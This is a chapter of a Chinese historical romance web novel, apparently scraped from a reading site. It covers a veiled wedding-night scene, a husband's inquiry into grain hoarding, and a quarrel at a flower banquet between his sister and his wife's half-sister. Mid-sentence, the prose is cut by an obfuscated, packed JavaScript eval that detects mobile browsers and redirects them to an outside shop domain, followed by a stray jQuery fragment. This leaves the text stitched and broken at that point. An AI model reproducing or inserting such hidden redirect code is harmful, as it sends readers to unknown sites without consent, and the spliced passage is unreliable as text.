默认冷灰
24号文字
方正启体

24. 日久生情难自明

作者:青崖白麓本书字数:K更新时间:
    那句话落下的瞬间,便见孟玦整个人倾了过来。他的目光紧紧锁在她脸上,像幽深的潭水,将人溺进去。


    她被那目光看得有些不自在,微微侧过脸去。


    他不许,指尖托起她的下颌,教她正对着自己。他使了一点力气,教她不能避开。只听他用极低极涩的嗓音问道:“怕什么?”


    这一刻,二人挨得极近,连呼吸都交缠在一处。


    骨节分明的手探向帐边,将那系得松松垮垮的床幔带子轻轻一抽。淡紫色的帐幔如一朵缓缓绽放的紫罗兰,无声舒展开来,将满室烛光与月色都滤成朦胧的暗影,恍若林间幽微的萤火。


    一切都暗了下来。


    她隐约猜到将要发生什么,却不敢抬眼瞧他的神色,也不敢动作。


    明明二人早已有过夫妻之实。可那一夜,他醉了酒,她懵懵懂懂,细细想来,她仍如一个未经人事的新妇,青涩而无措。


    他伸手去触她颈后的嫩肉,那块肌肤很敏感,指尖方触,她便觉一阵酥麻顺着脊背攀上来,激起细细的颤栗。她还未来得及出声,那只手已悄然下移,顺着她的脊线,一节一节,缓缓抚过。


    她像他掌中的一张弓,随他的动作,寸寸绷紧。


    他显然察觉到了,却似故意捉弄,那手总不安分,在她身上游走流连,惹得她有怨难言。


    她终于绷不住了,索性倒在榻上,阖了眼,任他施为。


    失了视觉,触觉便格外敏锐。她觉出温热的气息一寸寸压下来,他似乎在俯身看她。


    她长长的睫毛轻轻颤着,两颊绯红如染。


    与第一夜的迷乱不同,这一夜她清醒得很。每一个动作,每一道呼吸,都极为清晰。


    她觉得自己像是一片叶子,身下的锦缎像是滑溜溜的大海,她在上面打着转。


    水波渐起,涌成涛浪,一重接着一重,似要将她卷至深不见底的海渊。


    她蹙着眉,紧紧攥住锦被,心中忽生几分懊悔。她原以为孟玦只是温吞的溪流,待上了船,才发觉那沉在水底的情绪,正借着这场风浪,无声翻涌。


    他似乎藏着一股压抑的怒意,也许连他自己都未曾察觉。借着这一场情事,无声地宣泄出来。


    不知在海上漂泊了多久,浪终于止息。


    四下一片岑寂。她累得睁不开眼,只觉一只温热的手,轻轻替她拨开额前湿漉的碎发,又俯身在她耳畔低低说着什么。


    可她太倦了,一个字也未听清。


    ***


    经此一夜,二人相处逐渐融洽,不复往日那般疏离。只是那些未决的误会则如蛰伏的凶兽,不知什么时候就会亮出尖牙。


    转眼夏至,空气中浮动着恼人的暑意,无孔不入地钻进厢房。连夜晚也染了这燥热,清冷的月光浸在闷热的夜气里,竟也带了份暖意,融融地照着檐外青翠的枝梢。


    一截绿枝悠悠然地从窗棂伸进屋中,窗边设一架雕漆罗汉床,沈卿婉正坐于其上,手中拈着一块鸦青色的锦缎。


    这料子她早想给孟玦裁一身衣裳,只是一直未寻着合适的时机。她转头瞥了一眼榻上看书的孟玦,缓缓起身走了过去。


    孟玦正品读着《片玉词》,余光见她往自己这边来,抬头与她对视一眼,还未等她开口,便会意地将书籍放好,起身站到一旁。


    沈卿婉指尖捏着软尺上前,软尺绕过他的腰际时,温热的触感自指腹传来,她指尖微微一颤,抿了抿唇,敛神屏息。


    量至袖口时,她的指尖不经意与他垂落的手轻轻一碰。那一触如滚水,烫得她心头一跳,手上的动作便有些不稳,耳根悄悄漫上一层绯色。


    自那一夜以后,面对这人,她总是不自觉想到别处,面上却不敢显露分毫。匆匆量罢几处尺寸,便攥着软尺与布料转身,逃也似的坐回不远处的罗汉床上。


    她偷偷觑了孟玦一眼,见他神色如常,似乎并未察觉她的失态,这才暗暗松了口气。将布料铺在膝上,拈起针线,垂首忙活起来。


    绣针在缎面上穿梭几下,她忽想起一事,开口道:“今日季府递了帖子来,说这月十五邀咱们去沁芳园赏花。”


    颍州季家乃大夏望族,去岁新修的沁芳园,闻说景致极妙,奇花异草不可胜数。沈卿婉素爱花木,往昔位卑人微,从无人家邀她;如今她已是转运使夫人,但凡热闹场合,总少不了她一份帖子。


    孟玦听出她的兴头,头也不抬地回道:“既想去,便请个师傅来,给你和绾儿各做几身新衣。”


    沈卿婉手中绣针一顿:“我箱笼里还有衣裳,够穿的。给妹妹做几身便是。”她生性不喜张扬,更不愿铺张。


    孟玦未再多言,仿佛方才那话只是随口一提。


    次日,孟玦往官署去了。沈卿婉去瑞和堂请过安,才回院中,管家便进来回话,说府门前来了两位成衣铺的匠人,是上门量体裁衣的。


    她愣了愣,旋即明白是孟玦所为。


    含香笑道:“郎君既有这番心意,娘子就别推了。正好做几身新衫子,出门穿也体面。”


    如此,沈卿婉便让管家将人请进来,挑了料子,量了尺寸。


    到了赏花宴当日,天朗气清,惠风和畅。


    沈卿婉换上了新做的那件烟霞色织金罗衣,湖蓝色暗花绫裙。


    乌发绾了一个盘桓髻,簪了一支映彩宝相花簪,随着步履移动,日光下流光溢彩,衬得她肌肤胜雪,眉眼间添了几分娇俏明艳。


    本是她与孟玦、孟绾、孟母各乘一车,只是这日孟母身子略有不适,便推了宴请;孟玦又托人捎信来,说官署有事耽搁,让她先行。于是,她只得与孟绾同车。


    因着先前香膏一事,二人之间颇存芥蒂。虽有孟玦从中调和,也不过是面上平和,心底终究隔着一层。


    孟绾自幼便是孟家捧在掌心的珠玉。她出生未几,父亲便撒手人寰,母亲怜她失怙,加倍的疼爱都给了她。府里最好的东西,总由着她先挑;长兄待她亦极宽厚,无论她犯了什么过错,从未红过脸。


    唯独这一次……


    她至今仍觉委屈:那香膏她本不知来路,急于撇清,何错之有?便是掷在地上,也不是她动的手。何至于为这个挨兄长一顿训斥?


    她平白受了气,兄长也不曾宽慰半句,反要她去向嫂子赔不是。她心中愈发别扭,这一两个月,索性不与沈卿婉走动。


    沈卿婉这边,倒并不将此事挂在心上。只是含香每每提起,总要替自家娘子抱不平——那样名贵的香膏,娘子自己都舍不得用,这般用心的礼,却被孟绾当众掷在地上,如同弃若敝屣。


    二人一路无话。


    却说孟玦,今早方至官署,便收到一封书信——乃是通州同僚张淳所书。


    信中言,通州上半年骤遭暴雨,河堤溃决,洪水泛滥,良田尽没,粮价飞涨,百姓惶惶不可终日。张淳上书请旨,欲以本州常平仓粮平抑市价,以度时艰。


    不料两月之前,粮价再起异动,竟有百姓卖地买粮者。几经周折,终擒得一伙私自囤粮、高价抛售的奸商。


    本以为是寻常囤积居奇,孰料查验赃粮时,竟见端倪!


    那批来路不明的粮食,颗粒之饱满、色泽之润泽,竟与颍州特产的“青粳稻”别无二致。


    张淳当即严讯,那一干贼人只道颍州有人,可弄到低价粮,遂与通州粮商勾结,大敛不义之财。


    信中末尾,张淳直言:此事若处置不当,非但民怨难平,更恐牵累孟玦与他自身仕途,一旦被扣上“私通奸商、囤积居奇”的罪名,百口莫辩。


    望他速查究竟,以还百姓公道。


    孟玦读罢,指端用力,信纸应声起皱。


    粮价关乎民生,民生乃天下之本。他深知此事非同小可。


    他抬眸望向案上舆图,目光落在通州与本境接壤的河道处,眸色愈发幽沉。


    自来颍州任上,他素不喜结党,如今身边竟无一可靠的心腹可用。若遣长随去打探,恐对方识得熟脸,反倒打草惊蛇。


    沉吟片刻,他唤来绿松,吩咐他去瓦子巷寻几个捣子【2】,只说听闻码头有大买卖,想掺一脚却不得其门而入。打发些银钱,教他们盯紧码头动静,但凡异常,尽数回报。


    绿松点头应下,又道:“郎君快去赏花宴罢,莫让夫人久等。”说罢转身去了。


    孟玦待他走后,若无其事地换了常服,往沁芳园去。


    ***


    沈卿婉一行方至沁芳园,朱红大门两侧早有女使候立,接了帖子,恭引入园。


    青砖小径蜿蜒伸入,两侧花木扶疏。入得园中,更是别有天地。曲径通幽处,假山叠翠,流水潺潺,锦鲤在澄澈的池中悠然摆尾。


    廊下攀满粉蔷薇,花瓣上犹带晨露,馥郁沁人。远处亭台楼阁掩映于绿树繁花之间,飞檐翘角,雕梁画栋。


    沈卿婉素爱花,尤爱花香。见此满园烂漫,不由顿住脚步,俯身细赏。再抬眼时,同车而来的孟绾已不知去了何处。


    她心知孟绾不愿与自己同处,二人相对总有些局促。孟绾又不是肯委屈自己的性子,便由她自去。


    孟绾为避开沈卿婉,步下加快,往另一侧行去。才绕过一座假山,险些与人撞个满怀。


    她不识对方面容,只微微颔首,便要错身而过。


    不想那人竟认得她,笑吟吟开口道:“这不是孟官人的令妹么?”


    孟绾顿住脚步,迟疑道:“您是……”


    那女子格格笑了两声:“说起来,咱们还算是一家子呢。”见孟绾愈发困惑,便自报家门,“我是沈熙媛,你嫂子沈卿婉的四姐。论理,你也该唤我一声四姐。”


    孟绾依礼打了招呼,却不见对方有让路之意,面色便有些淡了。


    “孟姑娘急什么?我还有话要与你说呢——”


    自孟玦登门论及流言一事,沈阶大动干戈,查出是沈熙悦所为,罚她挨了板子,又跪祠堂,折腾下来,没个十天半月是下不了床的。连柳氏一并被禁了足。


    她沈熙媛此番能出府,还是苦苦哀求父亲:自己已至婚配之年,季家是颍


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17173248|194328||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    州名门,赴宴者不乏王公贵胄,若能借此机缘攀上一门好亲,于沈家亦是有好处。父亲这才松口。


    母亲与姐姐皆因沈卿婉受牵累,她心中早存了恨意。方才又远远望见孟绾与沈卿婉形同陌路,一个主意便冒了上来。


    “你要与我说什么?”


    “孟姑娘难道不曾疑心过?你哥哥那样冷若冰霜的人,怎会忽然向一个只见过一面的庶女求亲?


    她见对方望了过来,显然是对她的话感兴趣,便挑了挑眉,凑近了道:“自然是因为用了些不光彩的手段。比如说让人神志不清的媚药……”


    孟绾眉头一蹙,往后撤了半步,与她拉开距离。


    她虽仍对沈卿婉存着几分别扭,却并非不分好歹的糊涂人。这般明晃晃的挑拨,岂会听不出来?


    她抬眸看向沈熙媛,语气淡淡道:“沈卿婉是什么样的人,我也许并不全知。可你是个咬群儿的【1】,我倒是看得一清二楚。”


    一番话怼得沈熙媛脸色青一阵白一阵,眼见有人往这边走,她不得不让路。她望着孟绾的背影,咬牙冷笑:“好厉害的一张嘴。”


    “若是三姐姐在此,她那张嘴比我还厉害,只管教别人吃瘪。”她眼珠一转,又低声自语,“不过,不用嘴,我也能教她吃个瘪。”


    花厅内,酒肴罗列,金樽满泛,玉阮同调,一派喧阗热闹。往来的女使手托漆盘轻步穿梭在众宾客间。


    孟绾正与人闲聊,不远处的沈熙媛目光越过众人,似有若无地落在她身上,眼底掠过一丝阴鸷。


    恰在此时,一名女使托着满满一盘酒盏,沿花厅回廊缓步而来,路径正要从孟绾身侧经过。


    沈熙媛不动声色地移至孟绾近旁,假作转身与邻座夫人搭话,小腿却“不经意”地向前探了探。


    女使惊呼一声,身子失衡向前扑去,手中托盘登时脱手。琥珀色的酒液如断线珍珠飞溅而出,直朝孟绾砸了过去。


    孟绾若有所感,旋身回看,堪堪避过大半酒液。


    只是她后退躲避时,不防裙摆勾住旁边茶几的雕花棱角,只听“嘶啦”一声轻响,粉白裙裾自腰侧裂开一道寸许长的口子,白色里衣隐隐显露。


    孟绾在众人搀扶下站定,一抬眼便撞上沈熙媛那掩不住的幸灾乐祸。她眸中怒意迸溅,不及细想,几步冲上前,扬手便是一记耳光。


    清脆的掌掴声落,闹哄哄的花厅骤然一静。


    谁也没料到孟绾竟会当众动手。沈熙媛更是始料未及,脸颊兜头彻腮胀得通红,羞怒交加,便要扑上去与她撕扯。


    身侧众人忙将二人死死劝住,这才没将事态闹得更不可收拾。


    待季家管事的人赶到,二人碍于主家颜面,只得咬牙作罢。


    季家主事的乃是二房的媳妇周氏,她闻声赶来,好不容易劝阻了打闹,却又添了另一桩难处——孟绾衣裙破损,按礼主家当寻一套衣裳暂与她换上。


    只是季家这一辈清一色男儿郎,如今府中只她一个媳妇,五短身材,与孟绾那高挑身形相去甚远;下人的衣物又不好借予宾客。


    “这可如何是好?”周娘子为难地看向孟绾。


    孟绾亦面露窘色。那裂口恰在腰侧,走动间难免露出,着实不便再留宴上。可她小孩子心性,尚未尽兴,哪里肯就这么打道回府。


    正两难间,沈卿婉闲步至花厅,闻知此事,遂近前察看。她目光落在那道裂口上,轻声道:“不知周娘子此处可有针线?兴许我能补上一补。”


    周氏忙不迭应了,命人引去一间小厢房。


    沈卿婉让孟绾侧身立定,指尖拈起针线,手腕轻旋,银针便如蝴蝶般在裂口处上下翻飞。


    她的动作娴熟从容,针脚细密匀整,不过半盏茶工夫,那道刺目的裂口便被一朵栩栩如生的粉色秋菊所取代。


    那菊花花瓣层层叠叠,边缘晕着浅浅绯红,花芯处以金线绣出纤巧的花蕊,恰好掩住布料的接缝,浑然天成,竟似原本便绣在裙上的纹样。


    孟绾垂眸望着腰侧那朵粉菊,心头泛起一丝难以言说的滋味。


    出得厢房,周氏见了那绣花,亦忍不住赞道:“沈娘子这手艺当真绝了!这菊花绣得活灵活现,不知道的,还道这裙子本就带着这朵花儿呢。”


    周氏走后,孟绾抿了抿唇,垂首轻声道:“……对不住。”


    沈卿婉一愣,旋即会意她指的是香膏一事。


    “不必放在心上。方才之事,想来也是意外。”她语声柔和,“你我既已是一家人,自当不分彼此。你的难处,便是我的难处。能帮上忙,我便欢喜。”


    孟绾听着这话,望着沈卿婉温婉的侧脸,忽然想起那些从别处听来的闲言碎语:说她是使了手段勾引哥哥,说她工于心计、心思深沉。


    她沉默良久,指尖攥了攥衣角,想要问个清楚:“嫂嫂……”


    她顿了顿,似乎觉得有些难以启齿,可话到嘴边,终究还是问了出来:“外头有人说……你当初嫁给我哥哥,是、是下药勾引来的。这话……是真的么?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)